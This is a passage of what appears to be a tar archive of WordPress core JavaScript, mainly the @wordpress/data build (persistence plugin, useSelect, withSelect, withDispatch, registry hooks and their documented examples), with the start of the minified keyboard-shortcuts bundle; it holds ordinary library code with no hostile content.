{ default_storage = object; } /* harmony default export */ const storage_default = (default_storage); ;// ./node_modules/@wordpress/data/build-module/plugins/persistence/index.js /** * External dependencies */ /** * Internal dependencies */ /** @typedef {import('../../registry').WPDataRegistry} WPDataRegistry */ /** @typedef {import('../../registry').WPDataPlugin} WPDataPlugin */ /** * @typedef {Object} WPDataPersistencePluginOptions Persistence plugin options. * * @property {Storage} storage Persistent storage implementation. This must * at least implement `getItem` and `setItem` of * the Web Storage API. * @property {string} storageKey Key on which to set in persistent storage. */ /** * Default plugin storage. * * @type {Storage} */ const DEFAULT_STORAGE = storage_default; /** * Default plugin storage key. * * @type {string} */ const DEFAULT_STORAGE_KEY = 'WP_DATA'; /** * Higher-order reducer which invokes the original reducer only if state is * inequal from that of the action's `nextState` property, otherwise returning * the original state reference. * * @param {Function} reducer Original reducer. * * @return {Function} Enhanced reducer. */ const withLazySameState = reducer => (state, action) => { if (action.nextState === state) { return state; } return reducer(state, action); }; /** * Creates a persistence interface, exposing getter and setter methods (`get` * and `set` respectively). * * @param {WPDataPersistencePluginOptions} options Plugin options. * * @return {Object} Persistence interface. */ function createPersistenceInterface(options) { const { storage = DEFAULT_STORAGE, storageKey = DEFAULT_STORAGE_KEY } = options; let data; /** * Returns the persisted data as an object, defaulting to an empty object. * * @return {Object} Persisted data. */ function getData() { if (data === undefined) { // If unset, getItem is expected to return null. Fall back to // empty object. const persisted = storage.getItem(storageKey); if (persisted === null) { data = {}; } else { try { data = JSON.parse(persisted); } catch (error) { // Similarly, should any error be thrown during parse of // the string (malformed JSON), fall back to empty object. data = {}; } } } return data; } /** * Merges an updated reducer state into the persisted data. * * @param {string} key Key to update. * @param {*} value Updated value. */ function setData(key, value) { data = { ...data, [key]: value }; storage.setItem(storageKey, JSON.stringify(data)); } return { get: getData, set: setData }; } /** * Data plugin to persist store state into a single storage key. * * @param {WPDataRegistry} registry Data registry. * @param {?WPDataPersistencePluginOptions} pluginOptions Plugin options. * * @return {WPDataPlugin} Data plugin. */ function persistencePlugin(registry, pluginOptions) { const persistence = createPersistenceInterface(pluginOptions); /** * Creates an enhanced store dispatch function, triggering the state of the * given store name to be persisted when changed. * * @param {Function} getState Function which returns current state. * @param {string} storeName Store name. * @param {?Array<string>} keys Optional subset of keys to save. * * @return {Function} Enhanced dispatch function. */ function createPersistOnChange(getState, storeName, keys) { let getPersistedState; if (Array.isArray(keys)) { // Given keys, the persisted state should by produced as an object // of the subset of keys. This implementation uses combineReducers // to leverage its behavior of returning the same object when none // of the property values changes. This allows a strict reference // equality to bypass a persistence set on an unchanging state. const reducers = keys.reduce((accumulator, key) => Object.assign(accumulator, { [key]: (state, action) => action.nextState[key] }), {}); getPersistedState = withLazySameState(build_module_combineReducers(reducers)); } else { getPersistedState = (state, action) => action.nextState; } let lastState = getPersistedState(undefined, { nextState: getState() }); return () => { const state = getPersistedState(lastState, { nextState: getState() }); if (state !== lastState) { persistence.set(storeName, state); lastState = state; } }; } return { registerStore(storeName, options) { if (!options.persist) { return registry.registerStore(storeName, options); } // Load from persistence to use as initial state. const persistedState = persistence.get()[storeName]; if (persistedState !== undefined) { let initialState = options.reducer(options.initialState, { type: '@@WP/PERSISTENCE_RESTORE' }); if (is_plain_object_isPlainObject(initialState) && is_plain_object_isPlainObject(persistedState)) { // If state is an object, ensure that: // - Other keys are left intact when persisting only a // subset of keys. // - New keys in what would otherwise be used as initial // state are deeply merged as base for persisted value. initialState = cjs_default()(initialState, persistedState, { isMergeableObject: is_plain_object_isPlainObject }); } else { // If there is a mismatch in object-likeness of default // initial or persisted state, defer to persisted value. initialState = persistedState; } options = { ...options, initialState }; } const store = registry.registerStore(storeName, options); store.subscribe(createPersistOnChange(store.getState, storeName, options.persist)); return store; } }; } persistencePlugin.__unstableMigrate = () => {}; /* harmony default export */ const persistence = (persistencePlugin); ;// ./node_modules/@wordpress/data/build-module/plugins/index.js ;// external ["wp","priorityQueue"] const external_wp_priorityQueue_namespaceObject = window["wp"]["priorityQueue"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","isShallowEqual"] const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"]; var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject); ;// ./node_modules/@wordpress/data/build-module/components/registry-provider/context.js /** * WordPress dependencies */ /** * Internal dependencies */ const Context = (0,external_wp_element_namespaceObject.createContext)(default_registry); const { Consumer, Provider } = Context; /** * A custom react Context consumer exposing the provided `registry` to * children components. Used along with the RegistryProvider. * * You can read more about the react context api here: * https://react.dev/learn/passing-data-deeply-with-context#step-3-provide-the-context * * @example * ```js * import { * RegistryProvider, * RegistryConsumer, * createRegistry * } from '@wordpress/data'; * * const registry = createRegistry( {} ); * * const App = ( { props } ) => { * return <RegistryProvider value={ registry }> * <div>Hello There</div> * <RegistryConsumer> * { ( registry ) => ( * <ComponentUsingRegistry * { ...props } * registry={ registry } * ) } * </RegistryConsumer> * </RegistryProvider> * } * ``` */ const RegistryConsumer = Consumer; /** * A custom Context provider for exposing the provided `registry` to children * components via a consumer. * * See <a name="#RegistryConsumer">RegistryConsumer</a> documentation for * example. */ /* harmony default export */ const context = (Provider); ;// ./node_modules/@wordpress/data/build-module/components/registry-provider/use-registry.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * A custom react hook exposing the registry context for use. * * This exposes the `registry` value provided via the * <a href="#RegistryProvider">Registry Provider</a> to a component implementing * this hook. * * It acts similarly to the `useContext` react hook. * * Note: Generally speaking, `useRegistry` is a low level hook that in most cases * won't be needed for implementation. Most interactions with the `@wordpress/data` * API can be performed via the `useSelect` hook, or the `withSelect` and * `withDispatch` higher order components. * * @example * ```js * import { * RegistryProvider, * createRegistry, * useRegistry, * } from '@wordpress/data'; * * const registry = createRegistry( {} ); * * const SomeChildUsingRegistry = ( props ) => { * const registry = useRegistry(); * // ...logic implementing the registry in other react hooks. * }; * * * const ParentProvidingRegistry = ( props ) => { * return <RegistryProvider value={ registry }> * <SomeChildUsingRegistry { ...props } /> * </RegistryProvider> * }; * ``` * * @return {Function} A custom react hook exposing the registry context value. */ function useRegistry() { return (0,external_wp_element_namespaceObject.useContext)(Context); } ;// ./node_modules/@wordpress/data/build-module/components/async-mode-provider/context.js /** * WordPress dependencies */ const context_Context = (0,external_wp_element_namespaceObject.createContext)(false); const { Consumer: context_Consumer, Provider: context_Provider } = context_Context; const AsyncModeConsumer = (/* unused pure expression or super */ null && (context_Consumer)); /** * Context Provider Component used to switch the data module component rerendering * between Sync and Async modes. * * @example * * ```js * import { useSelect, AsyncModeProvider } from '@wordpress/data'; * import { store as blockEditorStore } from '@wordpress/block-editor'; * * function BlockCount() { * const count = useSelect( ( select ) => { * return select( blockEditorStore ).getBlockCount() * }, [] ); * * return count; * } * * function App() { * return ( * <AsyncModeProvider value={ true }> * <BlockCount /> * </AsyncModeProvider> * ); * } * ``` * * In this example, the BlockCount component is rerendered asynchronously. * It means if a more critical task is being performed (like typing in an input), * the rerendering is delayed until the browser becomes IDLE. * It is possible to nest multiple levels of AsyncModeProvider to fine-tune the rendering behavior. * * @param {boolean} props.value Enable Async Mode. * @return {Component} The component to be rendered. */ /* harmony default export */ const async_mode_provider_context = (context_Provider); ;// ./node_modules/@wordpress/data/build-module/components/async-mode-provider/use-async-mode.js /** * WordPress dependencies */ /** * Internal dependencies */ function useAsyncMode() { return (0,external_wp_element_namespaceObject.useContext)(context_Context); } ;// ./node_modules/@wordpress/data/build-module/components/use-select/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const renderQueue = (0,external_wp_priorityQueue_namespaceObject.createQueue)(); function warnOnUnstableReference(a, b) { if (!a || !b) { return; } const keys = typeof a === 'object' && typeof b === 'object' ? Object.keys(a).filter(k => a[k] !== b[k]) : []; // eslint-disable-next-line no-console console.warn('The `useSelect` hook returns different values when called with the same state and parameters.\n' + 'This can lead to unnecessary re-renders and performance issues if not fixed.\n\n' + 'Non-equal value keys: %s\n\n', keys.join(', ')); } /** * @typedef {import('../../types').StoreDescriptor<C>} StoreDescriptor * @template {import('../../types').AnyConfig} C */ /** * @typedef {import('../../types').ReduxStoreConfig<State,Actions,Selectors>} ReduxStoreConfig * @template State * @template {Record<string,import('../../types').ActionCreator>} Actions * @template Selectors */ /** @typedef {import('../../types').MapSelect} MapSelect */ /** * @typedef {import('../../types').UseSelectReturn<T>} UseSelectReturn * @template {MapSelect|StoreDescriptor<any>} T */ function Store(registry, suspense) { const select = suspense ? registry.suspendSelect : registry.select; const queueContext = {}; let lastMapSelect; let lastMapResult; let lastMapResultValid = false; let lastIsAsync; let subscriber; let didWarnUnstableReference; const storeStatesOnMount = new Map(); function getStoreState(name) { var _registry$stores$name; // If there's no store property (custom generic store), return an empty // object. When comparing the state, the empty objects will cause the // equality check to fail, setting `lastMapResultValid` to false. return (_registry$stores$name = registry.stores[name]?.store?.getState?.()) !== null && _registry$stores$name !== void 0 ? _registry$stores$name : {}; } const createSubscriber = stores => { // The set of stores the `subscribe` function is supposed to subscribe to. Here it is // initialized, and then the `updateStores` function can add new stores to it. const activeStores = [...stores]; // The `subscribe` function, which is passed to the `useSyncExternalStore` hook, could // be called multiple times to establish multiple subscriptions. That's why we need to // keep a set of active subscriptions; const activeSubscriptions = new Set(); function subscribe(listener) { // Maybe invalidate the value right after subscription was created. // React will call `getValue` after subscribing, to detect store // updates that happened in the interval between the `getValue` call // during render and creating the subscription, which is slightly // delayed. We need to ensure that this second `getValue` call will // compute a fresh value only if any of the store states have // changed in the meantime. if (lastMapResultValid) { for (const name of activeStores) { if (storeStatesOnMount.get(name) !== getStoreState(name)) { lastMapResultValid = false; } } } storeStatesOnMount.clear(); const onStoreChange = () => { // Invalidate the value on store update, so that a fresh value is computed. lastMapResultValid = false; listener(); }; const onChange = () => { if (lastIsAsync) { renderQueue.add(queueContext, onStoreChange); } else { onStoreChange(); } }; const unsubs = []; function subscribeStore(storeName) { unsubs.push(registry.subscribe(onChange, storeName)); } for (const storeName of activeStores) { subscribeStore(storeName); } activeSubscriptions.add(subscribeStore); return () => { activeSubscriptions.delete(subscribeStore); for (const unsub of unsubs.values()) { // The return value of the subscribe function could be undefined if the store is a custom generic store. unsub?.(); } // Cancel existing store updates that were already scheduled. renderQueue.cancel(queueContext); }; } // Check if `newStores` contains some stores we're not subscribed to yet, and add them. function updateStores(newStores) { for (const newStore of newStores) { if (activeStores.includes(newStore)) { continue; } // New `subscribe` calls will subscribe to `newStore`, too. activeStores.push(newStore); // Add `newStore` to existing subscriptions. for (const subscription of activeSubscriptions) { subscription(newStore); } } } return { subscribe, updateStores }; }; return (mapSelect, isAsync) => { function updateValue() { // If the last value is valid, and the `mapSelect` callback hasn't changed, // then we can safely return the cached value. The value can change only on // store update, and in that case value will be invalidated by the listener. if (lastMapResultValid && mapSelect === lastMapSelect) { return lastMapResult; } const listeningStores = { current: null }; const mapResult = registry.__unstableMarkListeningStores(() => mapSelect(select, registry), listeningStores); if (true) { if (!didWarnUnstableReference) { const secondMapResult = mapSelect(select, registry); if (!external_wp_isShallowEqual_default()(mapResult, secondMapResult)) { warnOnUnstableReference(mapResult, secondMapResult); didWarnUnstableReference = true; } } } if (!subscriber) { for (const name of listeningStores.current) { storeStatesOnMount.set(name, getStoreState(name)); } subscriber = createSubscriber(listeningStores.current); } else { subscriber.updateStores(listeningStores.current); } // If the new value is shallow-equal to the old one, keep the old one so // that we don't trigger unwanted updates that do a `===` check. if (!external_wp_isShallowEqual_default()(lastMapResult, mapResult)) { lastMapResult = mapResult; } lastMapSelect = mapSelect; lastMapResultValid = true; } function getValue() { // Update the value in case it's been invalidated or `mapSelect` has changed. updateValue(); return lastMapResult; } // When transitioning from async to sync mode, cancel existing store updates // that have been scheduled, and invalidate the value so that it's freshly // computed. It might have been changed by the update we just cancelled. if (lastIsAsync && !isAsync) { lastMapResultValid = false; renderQueue.cancel(queueContext); } updateValue(); lastIsAsync = isAsync; // Return a pair of functions that can be passed to `useSyncExternalStore`. return { subscribe: subscriber.subscribe, getValue }; }; } function _useStaticSelect(storeName) { return useRegistry().select(storeName); } function _useMappingSelect(suspense, mapSelect, deps) { const registry = useRegistry(); const isAsync = useAsyncMode(); const store = (0,external_wp_element_namespaceObject.useMemo)(() => Store(registry, suspense), [registry, suspense]); // These are "pass-through" dependencies from the parent hook, // and the parent should catch any hook rule violations. const selector = (0,external_wp_element_namespaceObject.useCallback)(mapSelect, deps); const { subscribe, getValue } = store(selector, isAsync); const result = (0,external_wp_element_namespaceObject.useSyncExternalStore)(subscribe, getValue, getValue); (0,external_wp_element_namespaceObject.useDebugValue)(result); return result; } /** * Custom react hook for retrieving props from registered selectors. * * In general, this custom React hook follows the * [rules of hooks](https://react.dev/reference/rules/rules-of-hooks). * * @template {MapSelect | StoreDescriptor<any>} T * @param {T} mapSelect Function called on every state change. The returned value is * exposed to the component implementing this hook. The function * receives the `registry.select` method on the first argument * and the `registry` on the second argument. * When a store key is passed, all selectors for the store will be * returned. This is only meant for usage of these selectors in event * callbacks, not for data needed to create the element tree. * @param {unknown[]} deps If provided, this memoizes the mapSelect so the same `mapSelect` is * invoked on every state change unless the dependencies change. * * @example * ```js * import { useSelect } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * function HammerPriceDisplay( { currency } ) { * const price = useSelect( ( select ) => { * return select( myCustomStore ).getPrice( 'hammer', currency ); * }, [ currency ] ); * return new Intl.NumberFormat( 'en-US', { * style: 'currency', * currency, * } ).format( price ); * } * * // Rendered in the application: * // <HammerPriceDisplay currency="USD" /> * ``` * * In the above example, when `HammerPriceDisplay` is rendered into an * application, the price will be retrieved from the store state using the * `mapSelect` callback on `useSelect`. If the currency prop changes then * any price in the state for that currency is retrieved. If the currency prop * doesn't change and other props are passed in that do change, the price will * not change because the dependency is just the currency. * * When data is only used in an event callback, the data should not be retrieved * on render, so it may be useful to get the selectors function instead. * * **Don't use `useSelect` this way when calling the selectors in the render * function because your component won't re-render on a data change.** * * ```js * import { useSelect } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * function Paste( { children } ) { * const { getSettings } = useSelect( myCustomStore ); * function onPaste() { * // Do something with the settings. * const settings = getSettings(); * } * return <div onPaste={ onPaste }>{ children }</div>; * } * ``` * @return {UseSelectReturn<T>} A custom react hook. */ function useSelect(mapSelect, deps) { // On initial call, on mount, determine the mode of this `useSelect` call // and then never allow it to change on subsequent updates. const staticSelectMode = typeof mapSelect !== 'function'; const staticSelectModeRef = (0,external_wp_element_namespaceObject.useRef)(staticSelectMode); if (staticSelectMode !== staticSelectModeRef.current) { const prevMode = staticSelectModeRef.current ? 'static' : 'mapping'; const nextMode = staticSelectMode ? 'static' : 'mapping'; throw new Error(`Switching useSelect from ${prevMode} to ${nextMode} is not allowed`); } // `staticSelectMode` is not allowed to change during the hook instance's, // lifetime, so the rules of hooks are not really violated. return staticSelectMode ? _useStaticSelect(mapSelect) : _useMappingSelect(false, mapSelect, deps); } /** * A variant of the `useSelect` hook that has the same API, but is a compatible * Suspense-enabled data source. * * @template {MapSelect} T * @param {T} mapSelect Function called on every state change. The * returned value is exposed to the component * using this hook. The function receives the * `registry.suspendSelect` method as the first * argument and the `registry` as the second one. * @param {Array} deps A dependency array used to memoize the `mapSelect` * so that the same `mapSelect` is invoked on every * state change unless the dependencies change. * * @throws {Promise} A suspense Promise that is thrown if any of the called * selectors is in an unresolved state. * * @return {ReturnType<T>} Data object returned by the `mapSelect` function. */ function useSuspenseSelect(mapSelect, deps) { return _useMappingSelect(true, mapSelect, deps); } ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/data/build-module/components/with-select/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ComponentType} ComponentType */ /** * Higher-order component used to inject state-derived props using registered * selectors. * * @param {Function} mapSelectToProps Function called on every state change, * expected to return object of props to * merge with the component's own props. * * @example * ```js * import { withSelect } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * function PriceDisplay( { price, currency } ) { * return new Intl.NumberFormat( 'en-US', { * style: 'currency', * currency, * } ).format( price ); * } * * const HammerPriceDisplay = withSelect( ( select, ownProps ) => { * const { getPrice } = select( myCustomStore ); * const { currency } = ownProps; * * return { * price: getPrice( 'hammer', currency ), * }; * } )( PriceDisplay ); * * // Rendered in the application: * // * // <HammerPriceDisplay currency="USD" /> * ``` * In the above example, when `HammerPriceDisplay` is rendered into an * application, it will pass the price into the underlying `PriceDisplay` * component and update automatically if the price of a hammer ever changes in * the store. * * @return {ComponentType} Enhanced component with merged state data props. */ const withSelect = mapSelectToProps => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(WrappedComponent => (0,external_wp_compose_namespaceObject.pure)(ownProps => { const mapSelect = (select, registry) => mapSelectToProps(select, ownProps, registry); const mergeProps = useSelect(mapSelect); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...ownProps, ...mergeProps }); }), 'withSelect'); /* harmony default export */ const with_select = (withSelect); ;// ./node_modules/@wordpress/data/build-module/components/use-dispatch/use-dispatch-with-map.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Custom react hook for returning aggregate dispatch actions using the provided * dispatchMap. * * Currently this is an internal api only and is implemented by `withDispatch` * * @param {Function} dispatchMap Receives the `registry.dispatch` function as * the first argument and the `registry` object * as the second argument. Should return an * object mapping props to functions. * @param {Array} deps An array of dependencies for the hook. * @return {Object} An object mapping props to functions created by the passed * in dispatchMap. */ const useDispatchWithMap = (dispatchMap, deps) => { const registry = useRegistry(); const currentDispatchMapRef = (0,external_wp_element_namespaceObject.useRef)(dispatchMap); (0,external_wp_compose_namespaceObject.useIsomorphicLayoutEffect)(() => { currentDispatchMapRef.current = dispatchMap; }); return (0,external_wp_element_namespaceObject.useMemo)(() => { const currentDispatchProps = currentDispatchMapRef.current(registry.dispatch, registry); return Object.fromEntries(Object.entries(currentDispatchProps).map(([propName, dispatcher]) => { if (typeof dispatcher !== 'function') { // eslint-disable-next-line no-console console.warn(`Property ${propName} returned from dispatchMap in useDispatchWithMap must be a function.`); } return [propName, (...args) => currentDispatchMapRef.current(registry.dispatch, registry)[propName](...args)]; })); }, [registry, ...deps]); }; /* harmony default export */ const use_dispatch_with_map = (useDispatchWithMap); ;// ./node_modules/@wordpress/data/build-module/components/with-dispatch/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ComponentType} ComponentType */ /** * Higher-order component used to add dispatch props using registered action * creators. * * @param {Function} mapDispatchToProps A function of returning an object of * prop names where value is a * dispatch-bound action creator, or a * function to be called with the * component's props and returning an * action creator. * * @example * ```jsx * function Button( { onClick, children } ) { * return <button type="button" onClick={ onClick }>{ children }</button>; * } * * import { withDispatch } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * const SaleButton = withDispatch( ( dispatch, ownProps ) => { * const { startSale } = dispatch( myCustomStore ); * const { discountPercent } = ownProps; * * return { * onClick() { * startSale( discountPercent ); * }, * }; * } )( Button ); * * // Rendered in the application: * // * // <SaleButton discountPercent="20">Start Sale!</SaleButton> * ``` * * @example * In the majority of cases, it will be sufficient to use only two first params * passed to `mapDispatchToProps` as illustrated in the previous example. * However, there might be some very advanced use cases where using the * `registry` object might be used as a tool to optimize the performance of * your component. Using `select` function from the registry might be useful * when you need to fetch some dynamic data from the store at the time when the * event is fired, but at the same time, you never use it to render your * component. In such scenario, you can avoid using the `withSelect` higher * order component to compute such prop, which might lead to unnecessary * re-renders of your component caused by its frequent value change. * Keep in mind, that `mapDispatchToProps` must return an object with functions * only. * * ```jsx * function Button( { onClick, children } ) { * return <button type="button" onClick={ onClick }>{ children }</button>; * } * * import { withDispatch } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * const SaleButton = withDispatch( ( dispatch, ownProps, { select } ) => { * // Stock number changes frequently. * const { getStockNumber } = select( myCustomStore ); * const { startSale } = dispatch( myCustomStore ); * return { * onClick() { * const discountPercent = getStockNumber() > 50 ? 10 : 20; * startSale( discountPercent ); * }, * }; * } )( Button ); * * // Rendered in the application: * // * // <SaleButton>Start Sale!</SaleButton> * ``` * * _Note:_ It is important that the `mapDispatchToProps` function always * returns an object with the same keys. For example, it should not contain * conditions under which a different value would be returned. * * @return {ComponentType} Enhanced component with merged dispatcher props. */ const withDispatch = mapDispatchToProps => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(WrappedComponent => ownProps => { const mapDispatch = (dispatch, registry) => mapDispatchToProps(dispatch, ownProps, registry); const dispatchProps = use_dispatch_with_map(mapDispatch, []); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...ownProps, ...dispatchProps }); }, 'withDispatch'); /* harmony default export */ const with_dispatch = (withDispatch); ;// ./node_modules/@wordpress/data/build-module/components/with-registry/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Higher-order component which renders the original component with the current * registry context passed as its `registry` prop. * * @param {Component} OriginalComponent Original component. * * @return {Component} Enhanced component. */ const withRegistry = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(OriginalComponent => props => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RegistryConsumer, { children: registry => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, { ...props, registry: registry }) }), 'withRegistry'); /* harmony default export */ const with_registry = (withRegistry); ;// ./node_modules/@wordpress/data/build-module/components/use-dispatch/use-dispatch.js /** * Internal dependencies */ /** * @typedef {import('../../types').StoreDescriptor<StoreConfig>} StoreDescriptor * @template {import('../../types').AnyConfig} StoreConfig */ /** * @typedef {import('../../types').UseDispatchReturn<StoreNameOrDescriptor>} UseDispatchReturn * @template StoreNameOrDescriptor */ /** * A custom react hook returning the current registry dispatch actions creators. * * Note: The component using this hook must be within the context of a * RegistryProvider. * * @template {undefined | string | StoreDescriptor<any>} StoreNameOrDescriptor * @param {StoreNameOrDescriptor} [storeNameOrDescriptor] Optionally provide the name of the * store or its descriptor from which to * retrieve action creators. If not * provided, the registry.dispatch * function is returned instead. * * @example * This illustrates a pattern where you may need to retrieve dynamic data from * the server via the `useSelect` hook to use in combination with the dispatch * action. * * ```jsx * import { useCallback } from 'react'; * import { useDispatch, useSelect } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * function Button( { onClick, children } ) { * return <button type="button" onClick={ onClick }>{ children }</button> * } * * const SaleButton = ( { children } ) => { * const { stockNumber } = useSelect( * ( select ) => select( myCustomStore ).getStockNumber(), * [] * ); * const { startSale } = useDispatch( myCustomStore ); * const onClick = useCallback( () => { * const discountPercent = stockNumber > 50 ? 10: 20; * startSale( discountPercent ); * }, [ stockNumber ] ); * return <Button onClick={ onClick }>{ children }</Button> * } * * // Rendered somewhere in the application: * // * // <SaleButton>Start Sale!</SaleButton> * ``` * @return {UseDispatchReturn<StoreNameOrDescriptor>} A custom react hook. */ const useDispatch = storeNameOrDescriptor => { const { dispatch } = useRegistry(); return storeNameOrDescriptor === void 0 ? dispatch : dispatch(storeNameOrDescriptor); }; /* harmony default export */ const use_dispatch = (useDispatch); ;// ./node_modules/@wordpress/data/build-module/dispatch.js /** * Internal dependencies */ /** * Given a store descriptor, returns an object of the store's action creators. * Calling an action creator will cause it to be dispatched, updating the state value accordingly. * * Note: Action creators returned by the dispatch will return a promise when * they are called. * * @param storeNameOrDescriptor The store descriptor. The legacy calling convention of passing * the store name is also supported. * * @example * ```js * import { dispatch } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * dispatch( myCustomStore ).setPrice( 'hammer', 9.75 ); * ``` * @return Object containing the action creators. */ function dispatch_dispatch(storeNameOrDescriptor) { return default_registry.dispatch(storeNameOrDescriptor); } ;// ./node_modules/@wordpress/data/build-module/select.js /** * Internal dependencies */ /** * Given a store descriptor, returns an object of the store's selectors. * The selector functions are been pre-bound to pass the current state automatically. * As a consumer, you need only pass arguments of the selector, if applicable. * * * @param storeNameOrDescriptor The store descriptor. The legacy calling convention * of passing the store name is also supported. * * @example * ```js * import { select } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * select( myCustomStore ).getPrice( 'hammer' ); * ``` * * @return Object containing the store's selectors. */ function select_select(storeNameOrDescriptor) { return default_registry.select(storeNameOrDescriptor); } ;// ./node_modules/@wordpress/data/build-module/index.js /** * Internal dependencies */ /** @typedef {import('./types').StoreDescriptor} StoreDescriptor */ /** * Object of available plugins to use with a registry. * * @see [use](#use) * * @type {Object} */ /** * The combineReducers helper function turns an object whose values are different * reducing functions into a single reducing function you can pass to registerReducer. * * @type {import('./types').combineReducers} * @param {Object} reducers An object whose values correspond to different reducing * functions that need to be combined into one. * * @example * ```js * import { combineReducers, createReduxStore, register } from '@wordpress/data'; * * const prices = ( state = {}, action ) => { * return action.type === 'SET_PRICE' ? * { * ...state, * [ action.item ]: action.price, * } : * state; * }; * * const discountPercent = ( state = 0, action ) => { * return action.type === 'START_SALE' ? * action.discountPercent : * state; * }; * * const store = createReduxStore( 'my-shop', { * reducer: combineReducers( { * prices, * discountPercent, * } ), * } ); * register( store ); * ``` * * @return {Function} A reducer that invokes every reducer inside the reducers * object, and constructs a state object with the same shape. */ const build_module_combineReducers = combine_reducers_combineReducers; /** * Given a store descriptor, returns an object containing the store's selectors pre-bound to state * so that you only need to supply additional arguments, and modified so that they return promises * that resolve to their eventual values, after any resolvers have ran. * * @param {StoreDescriptor|string} storeNameOrDescriptor The store descriptor. The legacy calling * convention of passing the store name is * also supported. * * @example * ```js * import { resolveSelect } from '@wordpress/data'; * import { store as myCustomStore } from 'my-custom-store'; * * resolveSelect( myCustomStore ).getPrice( 'hammer' ).then(console.log) * ``` * * @return {Object} Object containing the store's promise-wrapped selectors. */ const build_module_resolveSelect = default_registry.resolveSelect; /** * Given a store descriptor, returns an object containing the store's selectors pre-bound to state * so that you only need to supply additional arguments, and modified so that they throw promises * in case the selector is not resolved yet. * * @param {StoreDescriptor|string} storeNameOrDescriptor The store descriptor. The legacy calling * convention of passing the store name is * also supported. * * @return {Object} Object containing the store's suspense-wrapped selectors. */ const suspendSelect = default_registry.suspendSelect; /** * Given a listener function, the function will be called any time the state value * of one of the registered stores has changed. If you specify the optional * `storeNameOrDescriptor` parameter, the listener function will be called only * on updates on that one specific registered store. * * This function returns an `unsubscribe` function used to stop the subscription. * * @param {Function} listener Callback function. * @param {string|StoreDescriptor?} storeNameOrDescriptor Optional store name. * * @example * ```js * import { subscribe } from '@wordpress/data'; * * const unsubscribe = subscribe( () => { * // You could use this opportunity to test whether the derived result of a * // selector has subsequently changed as the result of a state update. * } ); * * // Later, if necessary... * unsubscribe(); * ``` */ const subscribe = default_registry.subscribe; /** * Registers a generic store instance. * * @deprecated Use `register( storeDescriptor )` instead. * * @param {string} name Store registry name. * @param {Object} store Store instance (`{ getSelectors, getActions, subscribe }`). */ const registerGenericStore = default_registry.registerGenericStore; /** * Registers a standard `@wordpress/data` store. * * @deprecated Use `register` instead. * * @param {string} storeName Unique namespace identifier for the store. * @param {Object} options Store description (reducer, actions, selectors, resolvers). * * @return {Object} Registered store object. */ const registerStore = default_registry.registerStore; /** * Extends a registry to inherit functionality provided by a given plugin. A * plugin is an object with properties aligning to that of a registry, merged * to extend the default registry behavior. * * @param {Object} plugin Plugin object. */ const use = default_registry.use; /** * Registers a standard `@wordpress/data` store descriptor. * * @example * ```js * import { createReduxStore, register } from '@wordpress/data'; * * const store = createReduxStore( 'demo', { * reducer: ( state = 'OK' ) => state, * selectors: { * getValue: ( state ) => state, * }, * } ); * register( store ); * ``` * * @param {StoreDescriptor} store Store descriptor. */ const register = default_registry.register; (window.wp = window.wp || {}).data = __webpack_exports__; /******/ })() ; keyboard-shortcuts.min.js 0000664 00000005711 15061233506 0011527 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,o)=>{for(var n in o)e.o(o,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:o[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ShortcutProvider:()=>K,__unstableUseShortcutEventMatch:()=>R,store:()=>h,useShortcut:()=>T});var o={};e.r(o),e.d(o,{registerShortcut:()=>c,unregisterShortcut:()=>a});var n={};e.r(n),e.d(n,{getAllShortcutKeyCombinations:()=>m,getAllShortcutRawKeyCombinations:()=>p,getCategoryShortcuts:()=>b,getShortcutAliases:()=>w,getShortcutDescription:()=>f,getShortcutKeyCombination:()=>y,getShortcutRepresentation:()=>S});const r=window.wp.data;const i=function(e={},t){switch(t.type){case"REGISTER_SHORTCUT":return{...e,[t.name]:{category:t.category,keyCombination:t.keyCombination,aliases:t.aliases,description:t.description}};case"UNREGISTER_SHORTCUT":const{[t.name]:o,...n}=e;return n}return e};function c({name:e,category:t,description:o,keyCombination:n,aliases:r}){return{type:"REGISTER_SHORTCUT",name:e,category:t,keyCombination:n,aliases:r,description:o}}function a(e){return{type:"UNREGISTER_SHORTCUT",name:e}}const s=window.wp.keycodes,u=[],d={display:s.displayShortcut,raw:s.rawShortcut,ariaLabel:s.shortcutAriaLabel};function l(e,t){return e?e.modifier?d[t][e.modifier](e.character):e.character:null}function y(e,t){return e[t]?e[t].keyCombination:null}function S(e,t,o="display"){return l(y(e,t),o)}function f(e,t){return e[t]?e[t].description:null}function w(e,t){return 